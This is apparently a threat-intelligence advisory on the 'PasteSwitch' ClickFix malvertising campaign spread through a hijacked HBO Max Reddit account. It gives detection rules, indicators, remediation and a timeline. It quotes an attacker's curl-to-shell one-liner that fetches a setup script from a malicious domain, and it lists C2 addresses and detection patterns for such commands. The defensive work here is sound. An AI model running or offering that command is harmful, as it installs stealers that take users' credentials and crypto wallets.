Compromised HBO Max Reddit Account Distributes ClickFix Malware in "PasteSwitch" Cross-Platform Malvertising Campaign

Key facts for PasteSwitch HBO Max ClickFix

Detection coverage for PasteSwitch HBO Max ClickFix

As of 2026-09-15, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2506 across Splunk SPL, Microsoft KQL and Sigma, covering 39 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix Malvertising Paste-and-Run Execution (PasteSwitch)

Detects the PasteSwitch/ClickFix infection trigger across macOS and Windows: a victim pastes an attacker-supplied one-liner from a malicious HBO Max-themed Reddit ad (or a related PasteSwitch lure) into Terminal or the Windows Run/PowerShell prompt. On macOS this is an env-var-prefixed curl-to-shell command piping a setup script from PasteSwitch delivery infrastructure (e.g. ember-bridge.com) directly into zsh/bash; on Windows it is mshta.exe or an encoded PowerShell command line referencing the same rotating lure domains (hbomaxx[.]us/.app, hbomax-macos.com, codex-craft.com, apple.clean-disk-guide.com, code-desktop.com, loop-lumen.com, filequanticore.com, arkypc.com). Covers the malvertising resource-development stage (T1583, T1586.001) through to user-driven execution (T1204.004, T1059.001, T1218.005).

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1583, T1586.001, T1204.004, T1059.001, T1218.005
• Data sources: osquery process_events (macOS), macOS Unified Logging (es_events), Microsoft Defender for Endpoint (DeviceProcessEvents), Windows Sysmon Event ID 1
• Severity: high
• Confidence: high

Splunk SPL

| multisearch
    [ search index=macos sourcetype="osquery:results" table_name=process_events
      | where match(process_cmdline, "(?i)^export\s+\w+=[a-f0-9]{6,};.*curl\s+-sL.*\|\s*(zsh|bash|sh)\b")
         OR match(process_cmdline, "(?i)curl\s+-sL\s+\"https?://(ember-bridge|hbomaxx|hbomax-macos|codex-craft|apple\.clean-disk-guide|code-desktop|loop-lumen|filequanticore|arkypc)\.[a-z]+/curl/")
      | eval os="macos", cmdline=process_cmdline, proc=process_name, parent=parent_process_name, risk_reason="clickfix_terminal_paste_and_run" ]
    [ search index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\mshta.exe"
      | where match(CommandLine, "(?i)(ember-bridge|hbomaxx|hbomax-macos|codex-craft|apple\.clean-disk-guide|code-desktop|loop-lumen|filequanticore|arkypc)\.[a-z]+")
      | eval os="windows", cmdline=CommandLine, proc=Image, parent=ParentImage, risk_reason="clickfix_mshta_paste_and_run" ]
| table _time, host, os, user, parent, proc, cmdline, risk_reason
| sort -_time

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where (FileName in~ ("zsh", "bash", "sh") and ProcessCommandLine has "curl" and ProcessCommandLine has_any ("ember-bridge.com", "hbomaxx.us", "hbomaxx.app", "hbomax-macos.com", "codex-craft.com", "apple.clean-disk-guide.com", "code-desktop.com", "loop-lumen.com", "filequanticore.com", "arkypc.com"))
   or (FileName =~ "mshta.exe" and ProcessCommandLine has_any ("ember-bridge.com", "hbomaxx.us", "hbomaxx.app", "hbomax-macos.com", "codex-craft.com", "apple.clean-disk-guide.com", "code-desktop.com", "loop-lumen.com", "filequanticore.com", "arkypc.com"))
   or (FileName =~ "powershell.exe" and (ProcessCommandLine has "-enc" or ProcessCommandLine has "-EncodedCommand") and InitiatingProcessParentFileName has_any ("explorer.exe", "msedge.exe", "chrome.exe", "firefox.exe"))
| project Timestamp, DeviceName, DeviceOSPlatform, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc

Sigma

title: ClickFix Copy-Paste Malware Execution via macOS Terminal (PasteSwitch)
id: 7f3a9c2e-4b1d-4e8a-9c6f-1a2b3c4d5e01
status: experimental
description: Detects the PasteSwitch/ClickFix malvertising pattern where a victim pastes an attacker-supplied, env-var-prefixed curl-to-shell one-liner into Terminal, downloading and piping a setup script from PasteSwitch delivery infrastructure directly into zsh/bash. Companion Windows execution (mshta.exe/PowerShell) for the same campaign is covered by the paired SPL/KQL detections in this set.
references:
    - https://www.bleepingcomputer.com/news/security/hackers-hijack-hbo-max-reddit-account-to-push-malware-in-clickfix-ads/
    - https://www.infostealers.com/article/hbo-max-ads-on-a-compromised-reddit-account-exposed-a-massive-pasteswitch-clickfix-operation/
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-09-14
tags:
    - attack.resource-development
    - attack.t1583
    - attack.t1586.001
    - attack.execution
    - attack.t1204.004
    - attack.tool.pasteswitch
logsource:
    category: process_creation
    product: macos
detection:
    selection_envprefix:
        CommandLine|re: '(?i)^export\s+\w+=[a-f0-9]{6,};.*curl\s+-sL.*\|\s*(zsh|bash|sh)\b'
    selection_domains:
        CommandLine|contains:
            - 'ember-bridge.com'
            - 'hbomaxx.us'
            - 'hbomaxx.app'
            - 'hbomax-macos.com'
            - 'codex-craft.com'
            - 'apple.clean-disk-guide.com'
            - 'code-desktop.com'
            - 'loop-lumen.com'
            - 'filequanticore.com'
            - 'arkypc.com'
    condition: selection_envprefix or selection_domains
falsepositives:
    - Legitimate internally-authored bootstrap/install scripts that set an environment variable before a curl-to-shell install
    - Homebrew or vendor install one-liners piping curl output to a shell against a benign, allow-listed domain
level: high

Known false positives:

• Legitimate internally-authored curl-to-shell bootstrap/install scripts unrelated to PasteSwitch domains
• IT-authored HTA/PowerShell deployment tooling using mshta.exe for legitimate remote administration

Tuning notes: Refresh the PasteSwitch domain watchlist regularly (hbomaxx.us/.app, hbomax-macos.com, codex-craft.com, apple.clean-disk-guide.com, code-desktop.com, ember-bridge.com, loop-lumen.com, filequanticore.com, arkypc.com) using OSINT corroboration (TL_OSINT_Scan/tweetfeed); arkypc.com already carries 2 independent community sightings (tagged payload_delivery/Unknown Stealer), which raises confidence to high whenever it recurs.

• 🔒 ClickFix Malvertising Paste-and-Run Execution (PasteSwitch) · unlock with TL Creds
• 🔒 AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) · unlock with TL Creds
• 🔒 PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging · unlock with TL Creds
• 🔒 ClickFix Malvertising Paste-and-Run Execution (PasteSwitch) · unlock with TL Creds
• 🔒 AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) · unlock with TL Creds
• 🔒 PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging · unlock with TL Creds
• 🔒 AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) · unlock with TL Creds
• 🔒 PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging · unlock with TL Creds

Indicators of compromise for PasteSwitch HBO Max ClickFix

As of 2026-09-15, Threadlinqs Intelligence tracks 39 indicators of compromise for TL-2026-2506.

Sample indicators (3 of 39)

• IP address: 77.91.65[.]13
• Domain: hbomaxx[.]us
• File hash: eec09815c3664aa6b3cd370a8b8f566be3b804949cfc514f145262136898b009

Defanged, TLP:CLEAR. Full set of 39 indicators: unlock with TL Creds.

Community OSINT corroboration for PasteSwitch HBO Max ClickFix

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

How PasteSwitch HBO Max ClickFix works

On or before September 6, 2026, unknown attackers compromised the official, verified HBO Max account on Reddit (u/hbomax) and used it to run 108 distinct malicious advertisements over a roughly 48-hour blitz. The ads split across five lure themes: a non-existent "HBO Max for macOS" application (40 ads, hbomaxx[.]app), a fake OpenAI Codex developer tool (36 ads, codex-craft[.]com), a macOS disk-cleaning utility (15 ads, apple.clean-disk-guide[.]com), another developer-tool lure (11 ads, code-desktop[.]com), and an HBO Max-macOS variant (6 ads, hbomax-macos[.]com). Clicking an ad routed victims to a landing page (hbomaxx[.]us) that displayed a fake CAPTCHA/download flow ending in ClickFix instructions: a prompt to copy an attacker-supplied one-liner and paste it into macOS Terminal or the Windows Run/PowerShell prompt to 'fix' or 'install' something, which instead executed malware under the victim's own account, bypassing file-download security warnings entirely.

Security researchers at Hudson Rock, working with Kirk of ADAMnetworks (credit also to Tuxxin of Whack.sh and Emiliano of The Matrix Project), traced the incident to a much larger, longer-running operation they named 'PasteSwitch' — a reference to the attacker-supplied paste-and-run commands combined with a backend that dynamically switches lures, platforms, payloads, and theft methods per visitor. On macOS, the observed command pattern was a Base64-flavored curl-to-shell one-liner (e.g. `export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge.com/curl/a44a37519au/setup.sh"| zsh`) that staged MacSync (a stealer that exfiltrates browser credentials, Firefox/Gecko profiles, Telegram data, Apple Notes, and macOS keychain/password data via a /tmp/osalogging.zip staging archive) and an 'AMOS Helper' component related to the Atomic macOS Stealer (AMOS) family, which uses `xattr -c` and `chmod +x` to run native helpers persisting under a launch-agent label masquerading as `.com.apple.accountsd`, enrolling victims through a `/api/join/` endpoint and later polling `/api/tasks/` on 45.94.47.204.

On Windows, the chain used `mshta` and PowerShell to pull MP3/HTA polyglot files that built scheduled tasks, disabled AMSI, and used arithmetic-fog/opaque-predicate obfuscation to inject the Amatera Stealer PE directly into memory without writing to disk. The observed Amatera sample connected out to 77.91.65.13:443 while presenting facebook.com through its TLS SNI and HTTP Host header to blend in with legitimate traffic. Additional payloads included the InstallFix Windows loader, and — for crypto-focused lures — Swift-built counterfeit Ledger Live, Trezor Suite, and Exodus wallet applications engineered to harvest 12- and 24-word BIP39 recovery phrases, plus the AnimateClipper and ZigClipper clipboard-hijacking families that silently swap a copied cryptocurrency address for an attacker-controlled one.

The clippers' most distinctive feature is their command-and-control design: rather than hardcoding a domain, they query Binance Smart Chain (BSC) smart contracts that function as mutable, attacker-updatable 'dead drops' resolving to the currently active C2 domain. Between March and July 2026, researchers tracked 36 separate mainnet contract updates issued from the same controller wallet address, letting operators rotate burned domains without needing to re-compromise delivery infrastructure or touch the malware binaries themselves. Despite the disposable, rotating front-end lures and domains, researchers found the operation's backend consistent across months — the same route grammar, API/helper identifiers, telemetry endpoints, staging conventions, and persistence paths recurred across campaigns, indicating a single organized operation rather than copycats.

Reddit paused the compromised account's ads and referred the incident to its Security and Safety teams after being notified; Warner Bros. Discovery did not respond to press inquiries about how the account was compromised or who was responsible. No CVE applies — this is a social-engineering and account-takeover campaign, not a software vulnerability.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1560 Archive Collected Data

Defense Evasion

T1027 Obfuscated Files or Information; T1055 Process Injection; T1562 Impair Defenses; T1620 Reflective Code Loading

Exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053 Scheduled Task/Job; T1543 Create or Modify System Process; T1547 Boot or Logon Autostart Execution

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1102 Web Service

Discovery

T1082 System Information Discovery

stealth

T1218 System Binary Proxy Execution

Credential Access

T1555 Credentials from Password Stores

Resource Development

T1583 Acquire Infrastructure; T1586 Compromise Accounts; T1608 Stage Capabilities

Impact

T1657 Financial Theft

defense-impairment

T1685 Disable or Modify Tools

Remediation for PasteSwitch HBO Max ClickFix

Immediate actions

• Block/deny outbound access to known PasteSwitch domains: hbomaxx[.]us, hbomaxx[.]app, hbomax-macos[.]com, codex-craft[.]com, apple.clean-disk-guide[.]com, code-desktop[.]com, ember-bridge[.]com, loop-lumen[.]com, filequanticore[.]com, arkypc[.]com
• Block outbound connections to 77.91.65.13, 45.94.47.204, 165.22.199.85, and 164.90.161.147
• Alert users that HBO Max's verified Reddit account (u/hbomax) was compromised and that verified badges provide no assurance the linked content is safe
• Instruct users never to copy-and-paste attacker-supplied commands into Terminal, PowerShell, or the Windows Run dialog regardless of the stated reason (CAPTCHA fix, install, repair)

Workarounds

• Disable clipboard-paste execution into Terminal/Run/PowerShell via endpoint policy (e.g. macOS Configuration Profiles restricting Terminal, Windows AppLocker/Constrained Language Mode for PowerShell)
• Deploy application allow-listing/behavior-blocking tools (e.g. BlockBlock on macOS) to flag unsigned LaunchAgent/LaunchDaemon creation

Longer-term hardening

• Restrict or log Terminal/PowerShell/Run-dialog access for non-technical user populations via MDM/GPO policy
• Deploy EDR/behavioral detection tuned for mshta-spawned PowerShell, AMSI-bypass indicators, and in-memory PE injection from browser-spawned processes
• Monitor for LaunchAgent/LaunchDaemon labels masquerading as Apple system services (e.g. .com.apple.accountsd) on macOS fleets
• Ingest Binance Smart Chain controller-address monitoring / blockchain-C2 threat feeds to catch dead-drop contract rotations for known clipper families
• Never enter hardware-wallet recovery phrases into any desktop application prompt; only enter them directly on the physical hardware device

Affected and fixed versions

• Apple — macOS
  Vulnerable versions: All supported versions — user-executed malicious Terminal command via social engineering, not an OS vulnerability
• Microsoft — Windows
  Vulnerable versions: All supported versions — user-executed malicious PowerShell/mshta command via social engineering, not an OS vulnerability
• Reddit — Reddit Ads Platform / u/hbomax verified account
  Vulnerable versions: Account takeover of verified brand account used to serve malicious ads

Timeline of PasteSwitch HBO Max ClickFix

Last updated 2026-09-15 · revalidated 1× · latest source

• 2026-03-01 PasteSwitch operators begin issuing Binance Smart Chain controller-contract updates to rotate clipper C2 domains, per Hudson Rock/ADAMnetworks tracking (36 mainnet changes observed through July 2026).
• 2026-07-31 Researcher-observed window of BSC contract-based C2 rotation for locked-ioc-28/locked-ioc-38 closes, having recorded 36 mainnet controller-address changes since March 2026.
• 2026-09-06 108 distinct malicious ads begin running from u/hbomax across five lure themes (fake HBO Max for macOS, fake OpenAI Codex tool, macOS disk-cleaner, developer tools, HBO Max-macOS variant) over what becomes a roughly 48-hour period.
• 2026-09-06 The verified HBO Max Reddit account (u/hbomax) is compromised by unknown attackers, who begin using it to run malicious advertisements.
• 2026-09-08 A Reddit admin pauses the malicious ads on the compromised account and refers the incident to Reddit's Security and Safety teams.
• 2026-09-13 A Reddit user in r/cybersecurity flags a verified u/hbomax ad promoting a nonexistent 'HBO Max for macOS' application that redirects to a ClickFix terminal-command prompt.
• 2026-09-14 The Register, BleepingComputer, and TechCrunch publish coverage of the HBO Max Reddit compromise and the PasteSwitch campaign, noting Warner Bros. Discovery did not respond to inquiries.
• 2026-09-14 Hudson Rock and ADAMnetworks (with Tuxxin of Whack.sh and Emiliano of The Matrix Project) publish joint research linking the HBO Max Reddit incident to the broader 'PasteSwitch' ClickFix operation, detailing locked-ioc-39, locked-ioc-34, locked-ioc-37, locked-ioc-25, locked-ioc-28, and locked-ioc-38.

Update history

• 2026-09-15 — Hijacked HBO Max Reddit Account Pushes ClickFix Malvertising in "PasteSwitch" Campaign: What changed No severity/exploitability/status escalation — both reports agree HIGH/ACTIVE/ACTIVE. The newer report deepens the same incident with an earlier discovery timestamp, additional infrastructure, file hashes, and more MITRE techni

Sources cited for PasteSwitch HBO Max ClickFix

• HBO Max ads on a compromised Reddit account exposed a massive PasteSwitch ClickFix operation infostealers.com · Research · 2026-09-14
• PasteSwitch: 108 crypto-theft ads on a hijacked HBO Max Reddit account dev.to · Research · 2026-09-14
• Compromised HBO Max Reddit Account Served PasteSwitch ClickFix Malware Ads mallory.ai · Blog · 2026-09-14
• HBO Max Reddit account compromised to serve ClickFix attacks The Register · News · 2026-09-14
• Hackers hijack HBO Max Reddit account to push malware in ClickFix ads BleepingComputer · News · 2026-09-14
• ClickFix attacks are tricking Mac and Windows users into hacking themselves techcrunch.com · News · 2026-09-14

More in malware

• YobaLoader Campaign: DLL Sideloading in Signed OpenAI/Anthropic-Themed Binaries via Fake GitHub Repositories Delivering XMRig
• Radio Exploit Kit drive-by download campaign exploiting CVE-2016-0189 to deliver AZORult
• Bottle Exploit Kit (BottleEK) - Malvertising Campaign Targeting Japanese Users via CVE-2018-8174 and CVE-2018-15982
• Exploit kits remain active in April 2021: RIG, Spelevo, PurpleFox, Underminer, Bottle, Magnitude targeting Internet Explorer (CVE-2020-0674, CVE-2021-26411, CVE-2018-8174, CVE-2018-15982, CVE-2020-1380)
• Fake Security Tools on GitHub Deliver AsyncRAT, Clipper and Infostealer via Trojan.Loader.3261 Electron Loader (Microsoft.exe)

Previous and next in malware

• SmokeLoader Backdoor/Loader: Process Hollowing Injection into explorer.exe with Anti-VM/Anti-Debug Evasion (Smoky Spider) Previous report
• ScreenConnect Backdoor Delivered via SSA-Impersonation Phishing Lure Next report

Further reading

• Axios Supply Chain Attack: Cross-Platform RATs